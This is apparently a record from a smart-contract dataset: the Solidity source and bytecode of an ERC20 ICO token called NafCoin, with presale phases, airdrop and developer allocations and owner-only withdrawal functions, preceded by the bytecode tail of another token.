000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122042c7c567f1a2d3e69979008681c8038cf69fc8c64e70d036c54f88e83cfb569864736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 2,644 |
0x84b50a8b29122ba776a46c1585b3df2133742489
|
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract AltcoinToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract NafCoin is ERC20, Owned {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public constant name = "NafCoin";
string public constant symbol = "NFC";
uint public constant decimals = 18;
uint256 public totalSupply = 1200000000000000000000000000;
uint256 public totalDistributed = 0;
uint256 public totalIcoDistributed = 0;
uint256 public constant minContribution = 1 ether / 100; // 0.01 Eth
uint256 public tokensPerEth = 0;
// ------------------------------
// Token Distribution and Address
// ------------------------------
// saleable 90%
uint256 public constant totalIco = 1080000000000000000000000000;
uint256 public totalIcoDist = 0;
address storageIco = owner;
// airdrop 5%
uint256 public constant totalAirdrop = 60000000000000000000000000;
address private storageAirdrop = 0x57D2EE2E359c08DfFeD715A0bd305FE513657822;
// developer 5%
uint256 public constant totalDeveloper = 60000000000000000000000000;
address private storageDeveloper = 0xdcc89F6793285C2cAcFb558B5bE840ec8149F47D;
// ---------------------
// sale start price and bonus
// ---------------------
// presale
uint public presaleStartTime = 1544979600; // Monday, 17 December 2018 00:00:00 GMT+07:00
uint256 public presalePerEth = 1366000000000000000000;
// ico
uint public icoStartTime = 1546189200; // Tuesday, 15 January 2019 00:00:00 GMT+07:00
uint256 public icoPerEth = 1366000000000000000000;
// ico1
uint public ico1StartTime = 1547398800; // Wednesday, 30 January 2019 00:00:00 GMT+07:00
uint256 public ico1PerEth = 1366000000000000000000;
// ico2
uint public ico2StartTime = 1548608400; // Wednesday, 13 February 2019 00:00:00 GMT+07:00
uint256 public ico2PerEth = 1366000000000000000000;
//ico start and end
uint public icoOpenTime = presaleStartTime;
uint public icoEndTime = 1549818000; // Thursday, 28 February 2019 00:00:00 GMT+07:00
// -----------------------
// events
// -----------------------
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Sent(address from, address to, uint amount);
// -------------------
// STATE
// ---------------------
bool public icoOpen = false;
bool public icoFinished = false;
bool public distributionFinished = false;
// -----
// temp
// -----
uint256 public tTokenPerEth = 0;
uint256 public tAmount = 0;
uint i = 0;
bool private tIcoOpen = false;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
balances[owner] = totalIco;
balances[storageAirdrop] = totalAirdrop;
balances[storageDeveloper] = totalDeveloper;
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return totalSupply - balances[address(0)];
}
modifier canDistr() {
require(!distributionFinished);
_;
}
function startDistribution() onlyOwner canDistr public returns (bool) {
icoOpen = true;
presaleStartTime = now;
icoOpenTime = now;
return true;
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
icoFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
balances[owner] = balances[owner].sub(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function send(address receiver, uint amount) public {
if (balances[msg.sender] < amount) return;
balances[msg.sender] -= amount;
balances[receiver] += amount;
emit Sent(msg.sender, receiver, amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
//owner withdraw
if (msg.sender == owner && msg.value == 0){
withdraw();
}
if(msg.sender != owner){
if ( now < icoOpenTime ){
revert('ICO does not open yet');
}
//is Open
if ( ( now >= icoOpenTime ) && ( now <= icoEndTime ) ){
icoOpen = true;
}
if ( now > icoEndTime ){
icoOpen = false;
icoFinished = true;
distributionFinished = true;
}
if ( icoFinished == true ){
revert('ICO has finished');
}
if ( distributionFinished == true ){
revert('Token distribution has finished');
}
if ( icoOpen == true ){
if ( now >= presaleStartTime && now < icoStartTime){ tTokenPerEth = presalePerEth; }
if ( now >= icoStartTime && now < ico1StartTime){ tTokenPerEth = icoPerEth; }
if ( now >= ico1StartTime && now < ico2StartTime){ tTokenPerEth = ico1PerEth; }
if ( now >= ico2StartTime && now < icoEndTime){ tTokenPerEth = ico2PerEth; }
tokensPerEth = tTokenPerEth;
getTokens();
}
}
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
require( msg.value >= minContribution );
require( msg.value > 0 );
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if ( icoFinished == true ){
revert('ICO Has Finished');
}
if( balances[owner] < tokens ){
revert('Insufficient Token Balance or Sold Out.');
}
if (tokens < 0){
revert();
}
totalIcoDistributed += tokens;
if (tokens > 0) {
distr(investor, tokens);
}
if (totalIcoDistributed >= totalIco) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
// mitigates the ERC20 spend/approval race condition
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
AltcoinToken t = AltcoinToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _amount) onlyOwner public {
balances[owner] = balances[owner].sub(_amount);
totalSupply = totalSupply.sub(_amount);
totalDistributed = totalDistributed.sub(_amount);
emit Burn(owner, _amount);
}
function withdrawAltcoinTokens(address _tokenContract) onlyOwner public returns (bool) {
AltcoinToken token = AltcoinToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function dist_privateSale(address _to, uint256 _amount) onlyOwner public {
require(_amount <= balances[owner]);
require(_amount > 0);
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
balances[owner] = balances[owner].sub(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
tAmount = 0;
}
function dist_airdrop(address _to, uint256 _amount) onlyOwner public {
require(_amount <= balances[storageAirdrop]);
require(_amount > 0);
balances[_to] = balances[_to].add(_amount);
balances[storageAirdrop] = balances[storageAirdrop].sub(_amount);
emit Airdrop(_to, _amount, balances[_to]);
emit Transfer(address(0), _to, _amount);
}
function dist_multiple_airdrop(address[] _participants, uint256 _amount) onlyOwner public {
tAmount = 0;
for ( i = 0; i < _participants.length; i++){
tAmount = tAmount.add(_amount);
}
require(tAmount <= balances[storageAirdrop]);
for ( i = 0; i < _participants.length; i++){
dist_airdrop(_participants[i], _amount);
}
tAmount = 0;
}
function dist_developer(address _to, uint256 _amount) onlyOwner public {
require(_amount <= balances[storageDeveloper]);
require(_amount > 0);
balances[_to] = balances[_to].add(_amount);
balances[storageDeveloper] = balances[storageDeveloper].sub(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
tAmount = 0;
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
|
0x60806040526004361061025c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063026dd90d146105f457806306fdde031461061f578063095ea7b3146106af57806309e0a77c1461071457806318160ddd1461073f5780631aee8fa81461076a5780632195845f1461079557806323b872dd146107f0578063313ce56714610875578063356e2927146108a05780633ccfd60b146108cf57806342966c68146108e6578063461b753614610913578063507fcdaf1461093e5780635691fa4814610969578063595aefe3146109945780635ce97dbb146109bf578063657ad479146109ea57806370a0823114610a1557806372ea61e814610a6c57806379ba509714610ab95780637e1055b614610ad05780638da5cb5b14610afb578063927a90da14610b5257806395d89b4114610b815780639b1cbccc14610c115780639ea407be14610c40578063a7ad69da14610c6d578063a7c3d71b14610c98578063a82524b214610cc3578063a8592a3414610cee578063a9059cbb14610d19578063aa6ca80814610d7e578063aaffadf314610d88578063acc9383a14610db3578063c02aa3c414610e00578063c108d54214610e2b578063c489744b14610e5a578063cbdd69b514610ed1578063d0679d3414610efc578063d4ee1d9014610f49578063d83623dd14610fa0578063dc39d06d14610fcf578063dd62ed3e14611034578063e16c42df146110ab578063e99ebee2146110d6578063e9a91efd14611146578063efca2eed14611171578063f2fde38b1461119c578063f5a5438e146111df575b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156102b95750600034145b156102c7576102c661122c565b5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105f257601654421015610396576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f49434f20646f6573206e6f74206f70656e20796574000000000000000000000081525060200191505060405180910390fd5b60165442101580156103aa57506017544211155b156103cb576001601860006101000a81548160ff0219169083151502179055505b601754421115610427576000601860006101000a81548160ff0219169083151502179055506001601860016101000a81548160ff0219169083151502179055506001601860026101000a81548160ff0219169083151502179055505b60011515601860019054906101000a900460ff16151514156104b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f49434f206861732066696e69736865640000000000000000000000000000000081525060200191505060405180910390fd5b60011515601860029054906101000a900460ff161515141561053b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f546f6b656e20646973747269627574696f6e206861732066696e69736865640081525060200191505060405180910390fd5b60011515601860009054906101000a900460ff16151514156105f157600e54421015801561056a575060105442105b1561057957600f546019819055505b601054421015801561058c575060125442105b1561059b576011546019819055505b60125442101580156105ae575060145442105b156105bd576013546019819055505b60145442101580156105d0575060175442105b156105df576015546019819055505b6019546009819055506105f0611315565b5b5b005b34801561060057600080fd5b5061060961157b565b6040518082815260200191505060405180910390f35b34801561062b57600080fd5b50610634611581565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610674578082015181840152602081019050610659565b50505050905090810190601f1680156106a15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106bb57600080fd5b506106fa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115ba565b604051808215151515815260200191505060405180910390f35b34801561072057600080fd5b50610729611748565b6040518082815260200191505060405180910390f35b34801561074b57600080fd5b50610754611758565b6040518082815260200191505060405180910390f35b34801561077657600080fd5b5061077f6117a3565b6040518082815260200191505060405180910390f35b3480156107a157600080fd5b506107d6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117a9565b604051808215151515815260200191505060405180910390f35b3480156107fc57600080fd5b5061085b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119ee565b604051808215151515815260200191505060405180910390f35b34801561088157600080fd5b5061088a611dc4565b6040518082815260200191505060405180910390f35b3480156108ac57600080fd5b506108b5611dc9565b604051808215151515815260200191505060405180910390f35b3480156108db57600080fd5b506108e461122c565b005b3480156108f257600080fd5b5061091160048036038101908080359060200190929190505050611ddc565b005b34801561091f57600080fd5b50610928611fba565b6040518082815260200191505060405180910390f35b34801561094a57600080fd5b50610953611fc0565b6040518082815260200191505060405180910390f35b34801561097557600080fd5b5061097e611fc6565b6040518082815260200191505060405180910390f35b3480156109a057600080fd5b506109a9611fcc565b6040518082815260200191505060405180910390f35b3480156109cb57600080fd5b506109d4611fd2565b6040518082815260200191505060405180910390f35b3480156109f657600080fd5b506109ff611fe1565b6040518082815260200191505060405180910390f35b348015610a2157600080fd5b50610a56600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fe7565b6040518082815260200191505060405180910390f35b348015610a7857600080fd5b50610ab7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612030565b005b348015610ac557600080fd5b50610ace612339565b005b348015610adc57600080fd5b50610ae56124da565b6040518082815260200191505060405180910390f35b348015610b0757600080fd5b50610b106124e0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b5e57600080fd5b50610b67612506565b604051808215151515815260200191505060405180910390f35b348015610b8d57600080fd5b50610b96612519565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610bd6578082015181840152602081019050610bbb565b50505050905090810190601f168015610c035780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610c1d57600080fd5b50610c26612552565b604051808215151515815260200191505060405180910390f35b348015610c4c57600080fd5b50610c6b60048036038101908080359060200190929190505050612635565b005b348015610c7957600080fd5b50610c826126d2565b6040518082815260200191505060405180910390f35b348015610ca457600080fd5b50610cad6126d8565b6040518082815260200191505060405180910390f35b348015610ccf57600080fd5b50610cd86126de565b6040518082815260200191505060405180910390f35b348015610cfa57600080fd5b50610d036126e4565b6040518082815260200191505060405180910390f35b348015610d2557600080fd5b50610d64600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506126ea565b604051808215151515815260200191505060405180910390f35b610d86611315565b005b348015610d9457600080fd5b50610d9d612925565b6040518082815260200191505060405180910390f35b348015610dbf57600080fd5b50610dfe600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612930565b005b348015610e0c57600080fd5b50610e15612c54565b6040518082815260200191505060405180910390f35b348015610e3757600080fd5b50610e40612c5a565b604051808215151515815260200191505060405180910390f35b348015610e6657600080fd5b50610ebb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612c6d565b6040518082815260200191505060405180910390f35b348015610edd57600080fd5b50610ee6612d58565b6040518082815260200191505060405180910390f35b348015610f0857600080fd5b50610f47600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612d5e565b005b348015610f5557600080fd5b50610f5e612ee8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610fac57600080fd5b50610fb5612f0e565b604051808215151515815260200191505060405180910390f35b348015610fdb57600080fd5b5061101a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612fb8565b604051808215151515815260200191505060405180910390f35b34801561104057600080fd5b50611095600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061311e565b6040518082815260200191505060405180910390f35b3480156110b757600080fd5b506110c06131a5565b6040518082815260200191505060405180910390f35b3480156110e257600080fd5b5061114460048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001909291905050506131ab565b005b34801561115257600080fd5b5061115b613321565b6040518082815260200191505060405180910390f35b34801561117d57600080fd5b50611186613330565b6040518082815260200191505060405180910390f35b3480156111a857600080fd5b506111dd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613336565b005b3480156111eb57600080fd5b5061122a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506133d6565b005b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561128b57600080fd5b3091508173ffffffffffffffffffffffffffffffffffffffff16319050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611310573d6000803e3d6000fd5b505050565b600080601860029054906101000a900460ff1615151561133457600080fd5b60009150662386f26fc10000341015151561134e57600080fd5b60003411151561135d57600080fd5b670de0b6b3a764000061137b3460095461371e90919063ffffffff16565b81151561138457fe5b04915033905060011515601860019054906101000a900460ff1615151415611414576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f49434f204861732046696e69736865640000000000000000000000000000000081525060200191505060405180910390fd5b8160046000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611511576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001807f496e73756666696369656e7420546f6b656e2042616c616e6365206f7220536f81526020017f6c64204f75742e0000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600082101561151f57600080fd5b816008600082825401925050819055506000821115611544576115428183613756565b505b6b037d5ae550708a7f38000000600854101515611577576001601860026101000a81548160ff0219169083151502179055505b5050565b60125481565b6040805190810160405280600781526020017f4e6166436f696e0000000000000000000000000000000000000000000000000081525081565b600080821415801561164957506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b156116575760009050611742565b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b6b037d5ae550708a7f3800000081565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460065403905090565b600a5481565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561180a57600080fd5b8391508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156118a857600080fd5b505af11580156118bc573d6000803e3d6000fd5b505050506040513d60208110156118d257600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156119aa57600080fd5b505af11580156119be573d6000803e3d6000fd5b505050506040513d60208110156119d457600080fd5b810190808051906020019092919050505092505050919050565b6000606060048101600036905010151515611a0557fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611a4157600080fd5b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515611a8f57600080fd5b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515611b1a57600080fd5b611b6c83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139bb90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c3e83600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139bb90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d1083600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139d490919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b601860019054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e3857600080fd5b611eac8160046000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139bb90919063ffffffff16565b60046000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f26816006546139bb90919063ffffffff16565b600681905550611f41816007546139bb90919063ffffffff16565b600781905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a250565b60135481565b60165481565b60115481565b60155481565b6a31a17e847807b1bc00000081565b600f5481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561208c57600080fd5b60046000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111515156120fc57600080fd5b60008111151561210b57600080fd5b61215d81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139d490919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122148160046000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139bb90919063ffffffff16565b60046000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a77826040518082815260200191505060405180910390a28173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c